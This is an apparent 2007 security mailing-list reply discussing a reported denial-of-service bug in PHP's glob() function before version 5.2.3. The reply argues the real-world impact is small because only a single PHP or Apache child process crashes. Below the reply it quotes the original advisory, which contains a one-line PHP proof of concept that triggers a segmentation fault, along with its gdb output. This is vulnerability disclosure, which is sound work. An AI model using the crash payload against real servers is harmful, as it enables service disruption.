Hi there, I haven't used PHP in a long while and I am by no means an expert. I think that this type of attack is mitigated by the fact that PHP doesn't support threading (more accurately, PHP modules don't support threading) - it isn't thread-safe. Thus, if you are running PHP as CGI or even a module within Apache, it will only crash the PHP CGI or the Apache child process (since you have to use prefork)... These are serious bugs to be sure, but given the above, in the "real world" I don't think that this could cause too many problems. Jon On 4 Sep 2007 21:05:51 -0000, laurent.gaffie@xxxxxxxxx <laurent.gaffie@xxxxxxxxx> wrote: > Application: PHP < 5.2.3 > Web Site: http://php.net > Platform: unix > Bug: denial of service > fonction: glob() > special condition:default php memory-limit value > =========== > > 1) Introduction > 2) Bug > 3) Proof of concept > 4) greets > 5) Credits > =========== > 1) Introduction > =========== > > "PHP is a widely-used general-purpose scripting language that > is especially suited for Web development and can be embedded into HTML." > > ====== > 2) Bug > ====== > > glob() is vulnerable to a denial of service > > ===== > 3)Proof of concept > ===== > > Proof of concept example : > <?php > glob(str_repeat("A", 9638013)); > ?> > > result: > (gdb) run ./3.php > > Program received signal SIGSEGV, Segmentation fault. > [Switching to Thread -1215031616 (LWP 11156)] > 0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6 > > > ======== > 4)Greets > ======== > Ivanlef0u,Deimos,benji,soh > ,and everyones on worldnet: #futurezone & > #nibbles > > ===== > 5)Credits > ===== > > Laurent gaffie > contact : laurent.gaffie@xxxxxxxxx > stay tuned, site comming soon .... >
